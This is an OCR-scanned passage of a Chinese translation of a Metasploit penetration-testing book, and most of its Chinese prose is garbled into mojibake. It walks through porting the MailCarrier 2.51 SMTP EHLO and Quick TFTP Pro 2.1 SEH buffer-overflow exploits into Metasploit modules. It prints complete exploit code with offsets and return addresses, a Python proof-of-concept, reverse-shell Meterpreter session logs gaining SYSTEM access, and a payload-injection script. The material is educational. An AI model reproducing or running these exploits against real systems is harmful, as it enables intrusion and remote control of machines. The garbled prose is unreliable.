A mixin, BAICALEZTHIEFTITR T mixin, FRNIZER % mixin 0] UL R FARERH -
AR, i Remote:Tep®, KiHATH AR TCP #f5.

FERE AL REh, BRFEE LREMEEHGTLERE N REHE A HRE
Oxdeadbeef®, BRIARY TCP B E N 25@. TEERET B IR % L2 )5, Metasploit it sock.put
T EORILER B EIE, i hRIERBENR .

156.2.2 HEEBEWEIDIE

B PORERATE T USRS B BNl 12, BATE e EiL A SMTP X E K iy
MRS R AR, KR AE - MRER S, RER— RIS BIP ) GAbhE, B L
—BERAWITK, B/5RAEME Shellcode HIRAFX . T HE B RZXBACHL ) LB

def exploit
connect

Osploit = "EHLO "
®sploit << "\x41" * 50093
©sploit << "\x42" * 4
@sploit << "\x90" * 32
@sploit << "\xcc" * 1000

sock.put{sploit + "\r\n")
handler

disconnect
end

BANBH RGEHEERERMER SR B MK, HARE EHLO 140, RFE 5093
MNERF A MK FEREO, BRIGRAXER EP K4 DNFO, UR—NREHESIBITX
O, Eja2—B i M shellcode®.
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit ;&iE X1 ma

BAERNEREMEH —NEDWLLO, 18 B RFEFAERAT 2 shellcode B EE Tk, 1l
Tt A R BT AT

MG BBEGEARZE, BIVE X EZ A mailcarrier_book.rb FAR{FTE modules/
exploits/windows/smtp/BHF o

15.2.3 AR A RO EAL 2 E KD

T4, BAIE MSF &irhmBX Mk, RELHHARETEM, REEFE—H
generic/debug_trap Bt BAT GXE—AX TBBENRMEIFRIEEEHMBEERE, FREMH A
RAFERER B bR N FRE P Al A — AT, B FRIEATIX AN

msf > use exploit/windows/smtp/mailcarrier_book
msf exploit(mailcarrier_book) > show options

Module options:

Name Current Setting Required Description

LHOST yes The local address
RHOST yes The target address
RPORT 25 yes The target port

Exploit target:

0  Windows XP SP2 - EN
msf exploit(mailcarrier book) > set LHOST 192.168.1.101

LHOST =» 192.168.1.101
msf exploit(mailcarrier book) > set RHOST 192.168.1.155
RHOST => 192.168.1.155
© nsf exploit(mailcarrier_book) > set payload generic/debug_trap
payload => generic/debug_trap
msf exploit(mailcarrier_book) » exploit
[*] Exploit completed, but no session was created.
msf exploit(mailcarrier book) »

BATERAAT L F KB ERR PR B FREED, FARKNRRIERF T generic/debug trap
Kt AT O R MK RA 1B BN,

EBBHEEREITERZE, WRENZLEETNHBFRIZT, EP ¥E8024
WS N 42424242, WHE 15-1 Fin, WRREE EIP CERINHE T R 42424242, Rk
Zu]BHANBIER TG RBINT . £/ 15-1 1, EIP FFERCLIGM T 42424242, T2/ EIT
X APy B AT B DAL IR T — RE MR BB pp X .
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F15F B BNBBAI Metasploit ISR

15-1 MailCarrier ¥4 th B B Ih S EIP

16.2.4 KIHEZR AP AYFFE

FE R FVEIE Bt AR B A B2 AT LUIE 7 TAEIFES EIP Huib 2 f5, W LAEE T Ri818KLEL
7 Metasploit FESE FR i) L5 . RATIERAE ‘Target” X ACE B HriR[E]Huht3) IMP ESP 184
Mkt b, o] DL R R S v8 A0S 19 W] — bk, 53X 4~ Huht B 7 Windows XP SP2 ) SHELL32. DLL
hR B . XFFHAARERSGE A, WEERHEERIRE IMP ESP fg [Pk, MMEEE
FERMAEBAERETS EHEERET. Eidte, AFNBERNAFERERENRER
S b ABEIER TAE, XANEGILEXFEN. BRAIMEANR SHELL32.DLL # f#sak, mix/~uht
TEARFERR AR Service Pack F&38th. W RBAIRHSE H AR B0 N 7 hk b 3R )
—/MRAER) IMP ESP $84-Huht, FE3RAT LURT B A Windows DLL P RMuht T, AAmLATLL
#1818 B B T E K Windows BIERFG T SMEBHR, BN —DAFHIERAL
4k

'Targets' =>

[
P

Metasploit £ 7EIZ1TH ZIEIEE bt A Bl S E LR S, IRV LIEBEBEABX P EA
[target['Ret']|.pack('V')HE R [F] Hrhk 8 e i3k ok, X £ IR [F] b bk 3 3 G071 -1\ B2 B ik
AR P (KFFFE—little-endian, 7455 & i HF5 RSt CPU A REHIBAER, Intel FRAHIALE
BEREENF .

[ 'Windows XP SP2 - EN', { 'Ret' => Ox7d17dd13 } ],
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &iE MK &/

BR: REFATEANARARELE, X—TFRBREMEEAEHAFNHAIFAR
% target B K i8R, RikHFE G ehAE N, X4 87 5 E KA HE] Metasploit FER F
2R KRB A 6B

sploit = "EHLO "

sploit << "\x41" * 5093

sploit << [target['Ret']].pack('V')

sploit << "\x90" * 32

sploit << "\xcc" * 1000

BRIBATBB R, NS FBURD BB INT 3 iXE00IEH] shellcode F52 1, W1
&l 15-2 fizrR.

13174 mand at 05FBFO5: ,_MiF‘auae:
B 15-2  RLEhBk¥E 2{hiE Y Shellcode, FATC GBI HIM INT3 54 T

15.2.5 iBfnbEHLIL

REBN O RLEAE N FR B EEAREN— KB T/ 4 SR #E, BEAX
R—FEE L PR E R SR, B, B xR E AR5 R Al BE 2 RIBEHLIL,
IXFE R LLSRBEAR 2 BT XH2 B By R TUHFAE

AEBEBBCHESIE BN, AR EERBNRE Targets’ SHXPRLENEXS EIP
Hil BT 757 18U offset BB, WFHiR:

'Targets' =»>

(
1

©O[ 'Windows XP SP2 - EN', { 'Ret' => 0x7d17dd13, 'Offset’' => 5093 } ],
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

¥15F MEBERMEBIEE Metasploit 52

TEIX ] offset Z 5@, WA HHEEBENRBRPTIMNAET —KBEPF 4, X2
EH A AR E, AP RS X KA A RRTER R B E R A P LA LHIE L+ .

IAEBATOT LUE BB B B S, f#73 Metasploit HEAERK VLIRS F/FHF
o fEBITR 2B B 5093 NFHF A, ER SIS ITB S A &4 th — MRS R BGE X .
(] LA#E A rand_text_alpha upper R5Ek ik H#x, EERATER] CLERHR LR BEHILREL, mTLL
7t Back|Track Bl F-I¥)/opt/metasploit/msf3/lib/rex/ #5428 T 1) text.rb XM+, EHHAHTH
HIBEHLAE SO A R D

sploit = "EHLO "

sploit << rand_text_alpha_upper(target['Offset’]
sploit <« [target['Ret']].pack(‘V")

sploit << "\xg0" * 32

sploit << "\xcc" * 1000

ITEAROT AT B, KHETFF A HIR B 775 88 CR A i K S T BB 7 R i o B,
BAVH B ATIE B R, BN IER I THE.

15.2.6 JHRR=IESHBITE

BT - EEBRRAFEHENTHESBITR, EAXEDII-NELEIIRARHN
RERRFRIE. REX0 & PMRAZMTERERS, AEHFAREE—JHNEHES. T
{1l make_nops()Ef #K & V¥ Metasploit 7EV8 B B R P — B 5 B IR IBT R S 4 fIBEHL
& g T

sploit = "EHLO "

sploit << rand_text_alpha_upper(target['0Offset’])
sploit << [target['Ret']].pack('V")

sploit << make_nops(32)

sploit << "\xcc" * 1000

EFBTBBRLGEEY, HER RS ITRE, WAREAKE INT3 84 THE K
BIF, RENZIESRTX CApBREERRBILE TS, WE 153 Fir.

15.2.7 ZXPBr{AiERY Shellcode

RSB BB IL M A RS IER T2 )5, RIIBEH MR ERIER shellcode.
GG b HEER I A I T DR A B BT K5

sploit = "EHLO "

sploit << rand_text_alpha_upper(target|'0ffset'])
sploit << [target['Ret’]].pack('V")

sploit << make_nops(32)

sploit << payload.encoded

223

24 W WwW. 176K u.CoM



Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &&= &R

| n{ Paused

[ 15-3  BEHLALAY MailCarrier B 48 ppix

Payload.encoded %% f Metasploit 7EiZ1T B %Ki 8 2 IR R 2 w2 5, M2
HEH B 8 Ja .

B, MBRATERBRIIGBER, EF N HERBEEEA, RAPITE, BTN ZHATEL
& FSRAEE S shell T, B0 FFas:

msf exploit(mailcarrier book) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse tcp
msf exploit(mailcarrier book) > exploit

[*] Started reverse handler on 192.168.1.101:4444
[*] Sending stage (747008 bytes)
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.155:1265)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

15.2.8 FHATEAERKTT
B R G, TSI Metasploit Y835 Bt R I 52 8 1 B 24 A0 FS .

"msf/core’

etasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

E15F JBEATBHEE Metasploit E22

def initialize(info = {})
super (update_info(info,
"Name" => 'TABS MailCarrier v2.51 SMTP EHLO Overflow',
'Description’ => %q{
This module exploits the MailCarrier v2.51 suite SMIP service.
The stack is overwritten when sending an overly long EHLO command.

b
"Author’ => [ 'Your Name' ],
"Arch' => [ ARCH X86 ],
'License’ => MSF_LICENSE,
'Version' => '$Revision: 7724 $',
‘References’ =>
[
[ "CVE', '2004-1638' ],
[ 'osvoB', '11174' ],
[ 'BID', '11535' ],
[ "URL", ‘http://wew.exploit-db.com/exploits/598' ],
B
'Privileged’ => true,
'DefaultOptions’ =>
{
'EXITFUNC' => 'thread',
}
‘Payload’ =>
{
'Space' => 1000,
'BadChars’ => "\x00\x0a\x0d\x3a",
'StackAdjustment ' => -3500,
‘Platform’ =» ['win'],
‘Targets' =»
[
[ "Windows XP SP2 - EN', { 'Ret' => Ox7d17dd13, 'Offset’
1,
‘DisclosureDate’ => 'Oct 26 2004',
'DefaultTarget’ => 0))
register_options(
Opt: :RPORT(25),
Opt::LHOST(), # Required for stack offset
], self.class)
end
def exploit

connect

sploit = "EHLO "

sploit << rand text_alpha upper(target['0ffset'])
sploit << [target['Ret']].pack('V")

sploit << make_nops(32)

spleit << payload.encoded
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &% Mt {5
sock.put(sploit + "\r\n")
handler

disconnect
end

VRPN 2858 B 78— X Wi BB AT 48 2] Metasploit FE4E !

15.3 SEH B=SiERM

EF—ANEE P, AT B — 5 Quick TFTP Pro 2.1 ¥4I &5 M4k 57 % b #5% (SHE)
A i V21U ) Metasploit HE48H . SEH B R iRHEE & N A RF R eI N E. £
—IK SEH #ifi, WATRZRSent 46— MR 8 15 R A 2218 58 A N FH #2719 50 Ab B R
. ExANBERETS, NHEFRME - NRER, SERITE—Mro2Esnigst, Rk
A LR FE R AT AR W HRAY shellcode. 1X/N2IEAHS L — M) B 2% b X i HH AN I 8 24—
8, HEibRIEFHENER.

AT D RAVEEA POP-POP-RETN AR e BATRT LAV inl 45 61 0 R 77 (X 18] 3 4518
e RS HAT . POP-POP-RETN J&— T3 {f F 155k SEH 34047 B ARSI B B R
B—A~ POP JL41R2 M3 th— AN Etll, B ERE DN FERIEIES, B4 poP
182 FREMAR T HUR— A WAEHLEL, 0 RETN 354 WK B ATIE [ 2 — B i P4 pa A 22 ),
238 BT LIPAT BATEF M R 1R 4

’BR: THMES AT SEH BZANHEK, KTl AHE hitp//www.exploit-db.com/download
_pdf/10195/, ©

Quick TFTP Pro 2.1 2B AT /2 1 Muts 2855 /), 47T LU http://www.exploit-db.com/exploit
$/5315/3R B EHM BB RN, UURFERAKYNAER. BICEAEX LRI, #
R H B3] Metasploit HEZEH, HonZpk T XL EA . BENBRABHERINE
Metasploit TR EXBBEXLHFTAER.

#!/usr/bin/python

# Quick TFTP Pro 2.1 SEH Overflow (0day)

# Tested on Windows XP SP2.

# Coded by Mati Aharoni

# muts..at..offensive-security.com

# http://www,offensive-security.com/0day/quick-tftp-poc.py.txt
HERHERHEH A R S R R S R
import socket

import sys

@ #A4iE: AF e P EAEF A F T35 hiip://bbs.pediy.com/showthread.php?t=102040).
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i

T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

%

F15F H2ENABBEE Metasploit #E52

print “[*] Quick TFTP Pro 2.1 SEH Overflow (0day)"
print “[*] http://www.offensive-security.com”

host
port

try:
5 =
except:

127.0.0.1'
69

socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

print "socket() failed"
sys.exit(1)

filename = “"pwnd"
shell = "\xcc" * 317

mode = "A"*1019+"\xeb\x08\x904x90"+ "\ x58\x14\xd3\x74"+" \x90" *16+shell

muha = "\x00\x02" + filename+ "\D" + mode + "\o"

print "[*] Sending evil packet, ph33r”
s.sendto(muha, (host, port))
print "[*] Check port 4444 for bindshell”

S ELBANAE 2 BT I IMP ESP 2 [X ik tH R B0 h BT RE, & e — 2 i it i is B
B BB, A BATH R 4.

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote

Qinclude Msf::Exploit::Remote::Udp
®include Msf::Exploit::Remote::Seh

def initialize(info = {})

224 WwW.176K u.CoM

super(update_info(info,

‘Name ' => 'Quick TFTP Pro 2.1 Long Mode Buffer Overflow',
'Description’ => %qf
This module exploits a stack overflow in Quick TFTP Pro 2.1.
b
'Author* => 'Your Name',
‘Version' => '$Revision: 7724 %',
'References’ =>
(
['CVE', '2008-1610'],
['OSvDB', '43784'],
['URL', "http://www.exploit-db.com/exploits/5315'],
I,
'DefaultOptions' =»
{
"EXITFUNC' => 'thread',
b
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit £ 3% 3% #5 &
"Payload’ =>
{
'Space’ => 412,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment’ => -3500,
b
'‘Platform’ => 'win’,
'Targets' =>
[
[ 'Windows XP SP2°, { "Ret’ => 0x41414141 } ],
I,
‘Privileged’ =» true,
‘DefaultTarget’ => 0,
‘DisclosureDate’ => 'Mar 3 2008'))
®register options([Opt::RPORT(69)], self.class)
end

def exploit
connect_udp

print_status("Trying target #{target.name}...")
Oudp_sock.put(sploit)

disconnect udp
end

end

EARXANBEREERT TFTP ¥hl, FE5| A Msf:Exploit::Remote::Udp mixin®, 3 H
AT HEERHN SEH, HilkthTEES|H Msf:Exploit::Remote::Seh mixin® 37 j5] SEH #i H f1—
BLRF € PR 8. TFTP 1B % 7E UDP ) 69 3y M _LEBEAT MUY, FATA BIX AN 045 R %88 B ik
FERARERTO®. &5, —HRBHNEETHBRERZE, BEAEELREZIMNE L.

BAVFEEER] TFTP J5# Python 238 /URS o BB 3R SR MY AV A B BLt 4/ &2, IF
B IORINE) BB B AR X .

. def exploit
connect_udp

print_status("Trying target #{target.name}...")

evil = "\x41" * 1019
Oevil << "\xeb\x08\x90\x90" # Short Jump
®evil << "\x58\x14\xd3\x74" # POP-POP-RETN
evil << "\x90" * 16 # NOP slide
evil << "\xcc" * 412 # Dummy Shellcode
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

®15F FiBiERBEET Metasploit 5

Osploit = "\x00\x02"
sploit << "pwnd"
sploit << "\xo0"
sploit << evil
sploit << "\x00"

udp_sock.put(sploit)

disconnect_udp
end

#1019 NMEFF A MBRIPIEE TR 22 5, M — Mk 184 Ok % it NSEH. fEAER
o, BAMER T —M6 8550 FR 8 1 K6 B 7 MailCarrier 584 F 7788, 7EXE, WEHE
it SEH $1 NSEH XKH i &5 b e W25k, N T — POP-POP-RETN 184 Fr 3| ik k&
#i SEH®, X# 5| SFREFHTHEBRINFERNAFEX .

TR, ATHEBXNEOGRCE S TFTP RE VUL —N5iK, BRI shelicode Z /&
7 IM\x00\x02@ .

B, FHEOXMBFBUERER, I ARk S ATEAT, BAFRIASBHEF7E SEH #
wHALE, W 15-4 Fors.

15-4  Quick TFTP ¥4 SEH % &

BT RE BRI — KR KPP 4 MEHLSHATX 2ME IDS #%, RIEE L6
THIEGERE, K A PR BFEON— DN RE RN F RS, R\x00 58 /FF5I B E8 5
ZFIRSHFF, FREEEHIRRR S B8 TXRMRE.

evil = rand_text_alpha_upper(1019) # Was: "\x41" * 1019

evil << "\xeb\x08\x90\x390" # Short Jump

evil << "\x58\x14\xd3\x74" # pop/pop/ret

evil << make_nops(16) # Was: "\x90" * 16 # NOP slide
evil <« "\xec" * 412 # Dummy Shellcode

ERRBHRZE, BIOMZKEE THEIRKIIEE, W 15-5 Fim, BN ALr 75 5
CL 8% BRI, 1l SEH & 28 2 AT AR 8 A BaEtl.
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit i&i%E 015 &

= Pointer to nedt SEH record
SE handler

IFIFIFIF
FIFIF
1

B 15-5 BEALZ TG Quick TFTP B F 5

H AT FEREH AL AL [EH TAERY, 8T KA Targets 2 P R EIR Mk X456+
f{] POP-POP-RETN 17273 R M oledig dil H1iR3f, FIELHHBERG—F. Hidi:
R BAT AT AR B R B A R MR P B AN AP RITE ik, BB LLel
B AAMEBT Windows DLL FE LB BT EIR, W LABGHAE & B AF R G RRA .

'Targets' =>

[
1,

©[ 'Windows XP SP2', { 'Ret” => Ox74d31458 } ], # p/p/r oledlg

ILTELL Windows XP SP2 44 HiR, iR[EIHuht K 0x74d314580, # FRZN1ZHELER
1,019 FHKEIKE F YL FER SR,

evil = rand _text_alpha upper(1019)
evil << generate_seh_payload(target.ret)
evil << make_nops(16)

generate_seh_payload B #{ A AR B HuAE, o GahibiEA D EBbEES (R
1Bkt SEH XBEEE) o ZeRECK A BATHEBEE AR, JFEREAE] POP-POP-RETN 54
FF51.

BAVESG — AEFA P HE Y shellcode SRIZ1TIXMEFZ VAR, Hwnk 15-6 B, o LUHA
RN E B — BN FRT, M ABERNAERINERNEEZ . EZHELT, B
WA RSt RS P RES L&, RSN SR Ei DS 3, MWiREHETRER
#IF) IDS &% KB THHA KA HRE.
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

o

W15 & WEEKEBHEE Metasploit {E5

H 15-6 Quick TFTP ¥5c 2%l

BFR, 2BRhHEH shellcode, I —ANHEMBHBARBTEIR, KBRAIA shell
2iE, WTFHw.

msf > use exploit/windows/tftp/quicktftp_book

msf exploit(quicktftp_book) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(quicktftp_book) > set LHOST 192.168.1.101

LHOST => 192.168.1.101

msf exploit(quicktftp_book) > set RHOST 192.168.1.155

RHOST => 192.168.1,155

msf exploit(quicktftp_book) > exploit

[*] started reverse handler on 192.168.1.101:4444

[*] Trying target Windows XP SP2...

[*] sending stage (747008 bytes)

[*] Meterpreter session 2 opened (192.168.1.101:4444 -> 192.168.1.155:1036)
meterpreter > getuid

Server username: V-XP-S5P2-BARE\Administrator

BL7E L2 KELE] T — Meterpreter (¥ Shell, 34154 Ik SEH HiBE B
F|T Metasploit HEZEr !

require 'msf/core’

class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
" Name ' => 'Quick TFTP Pro 2.1 Long Mode Buffer Overflow',
'Description’ => %q{
This module exploits a stack overflow in Quick TFTP Pro 2.1.
b
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i

ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

%

Metasploit /8 ER) A 16/
'Author' => 'Your Name®,
'Version' => '$Revision: 7724 %',
'References’ =>
[

[‘CVE', '2008-1610'],
[‘OsvDB', '43784'],
['URL', 'http://www.exploit-db.com/exploits/5315'],

I,
'DefaultOptions' =>

{
'EXITFUNC' => 'thread',
b
'Payload’ =»
{
‘Space’ => 412,
'BadChars' => "\x00\x20\x0a\x0d",
‘StackAdjustment' => -3500,
s
‘Platform’ = 'win’,
'Targets' =>
[
[ 'Windows XP SP2', { 'Ret’ => Ox74d31458 } 1,
# p/p/T oledlg
2
"Privileged’ => true,
'DefaultTarget’ => o,
'‘DisclosureDate’ =» 'Mar 3 2008'))
register_options([Opt::RPORT(69)], self.class)
end

def exploit
connect_udp

print_status("Trying target #{target.name}...")

evil = rand_text_alpha_upper(1019)
evil << generate_seh_payload(target.ret)
evil << make_nops(16)

sploit = "\x00\x02"
sploit << "pwnd”
sploit << "\x00"
sploit << evil
sploit << "\x00"

udp_sock.put(sploit)

disconnect_udp
end

end
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

®15F RHBENKIBBEE Metasploit 2%

15.4 Ih&

AT E AR B T B TR 55 & R R 3 i8R B M B Metasploit HEZE 9. 4RAT
LUK & Fh & FEAS A B R 8B (RS 4E L F) Metasploit BT, {HIXTHE L AHMBREHEAR,
EFERE CEL kAR

TEARZET G, WREBNT e -— e R GV AT 4 R AT KW L ke di tH B, 3F
¥ M) T Metasploit 23 h ., RAMEFS T -4 SEH & i W MiBiE, ©hsssd
TR AL FRLE IR A AR IAT . RAMEA T POP-POP-RETN Hi AR ER 13 AL AT 1 BE
71, FHEHE T Metasploit 1, H(f T —> Meterpreter Sheli.

1255 16 EH, HITHREA S| Meterpreter A F BB T . AR CLEEG
T—AREIHMAT Meterpreter, {#r] ABATR B Fit—PHBGHE AR . BIPEQERN A2
(] Meterpreter Jii4<, 3% 3] Metasploit #E4E 2 I 4 4U4EHI ), ARl A3 e B R .
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BTt I AT ORM L% S 2 AT AR 2 A B B AT A 4%, 5 I 24 AT 1) SEBRABCR) N AR FHV R ST o DRIAR St 38 40 W o)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

Meterpreter Bl &= 4=

Metasploit 58 KA IR BEGEGE LL/RT A IN Meterpreter FIThEERFE. EARE, R¥EFF
3| Meterpreter BIACERFZ ) EERY, —SHHMREREBOTH, LLEWTIE Meterpreter iz {TiX 4
A A4 WAV AP Meterpreter BIAGIERI 2 B AT AT A, M
P ik EARE R, ERMERIEEES, BAAREMAMHEARESHERE,; oMY
BEIA R B B MR, A ERAE 13 Fihiei-—8, FTURMNASEZXTE PR .
(5 7B Carlos Perez [darkoperator] %} 4 % ) TR )

16.1 Meterpreter Bl A& 4mFe Bt

I 1) Meterpreter I A # A IAEMEZEAR H K T 1 scripts/meterpreter/3LAF R, A8 BBy
HIIEA, 7] LAFE Meterpreter shell P4ii A\ TAB &, 2 /5HA run, HHI\ TAB §#.
EFATHHT — AR Meterpreter A, REFHERN B CHEE. RITEEED T

24 W WwW. 176K u.CoM



T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &% ik 5 /¥

multi_meter_inject A, %A REIHIE Meterpreter shells HEAF 57— iR+ . 5%, RITKRAE
T Fi% Meterpreter B 4{3 & T B4y & 4T HE TN A B 15164 L

meterpreter > run multi_metex_inject -h

Meterpreter script for injecting a reverse tcp Meterpreter payload into memory space of
multiple PID's. If none is provided, notepad.exe will be spawned and the meterpreter
payload injected into it.

OPTIONS:
-h Help menu.
-n O Start Expleit multi/handler for return connection

-mp ®<opt> Provide Multiple PID for connections separated by comma one per IP.

-mr @<opt> Provide Multiple IP Addresses for Connections separated by comma.

-p ®<opt> The port on the remote host where Metasploit is listening (default: 4444)

-pt  <opt> Specify Reverse Connection Meterpreter Payload. Default windows/
meterpreter/reverse_tcp

meterpreter »

B NETR-m FFARO, ZEM 3B — NIV, RAOBIREIERE. R
HE—¥®O (Fim 443 50 , RAFEREXNES, #TXk, FEHEHRENPID S5O,
19 FKe shell FEAFHEFEF .

il 2 ik Meterpreter 7E W7 1847 MEFFRNHAR LG, AL Meterpreter T A it
R W AF 2 6] P ARG PAT, R ERMNNBRFEER R, A ERETEMNSERE, T
KUERF 2 A7 1K) shell #1215,

BTk, BINEEREIEVLAE Meterpreter 215 EHER IP #HilOMHR OO,

E Meterpreter 1§ H ps fr4 o] B 3 frH AL IR % «

meterpreter > ps

Process list

EETooEEEECTE

PID Name Arch Session User Path
0 [System Process]
4 System

256 smss.exe

364 csrss.exe

412 wininit.exe

424 csrss.exe

472  winlogon.exe

516 services.exe

524 lsass.exe

532 lsm.exe

2808 1iexplorer.exe © x86
meterpreter »
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

% 16 & Meterpreter BIAI2

A4 B 1Y) Meterpreter shell 7 A F| iexplorer.exe@i i+, XM ERN MR EENT
HHIEAT 43 B Meterpreter #5516, A2 5 EMHIE R 4 L.
ik BAME A 2 8T F B — B TUEAT multi_meter_inject fr%>, HEFCRTIER TIE:

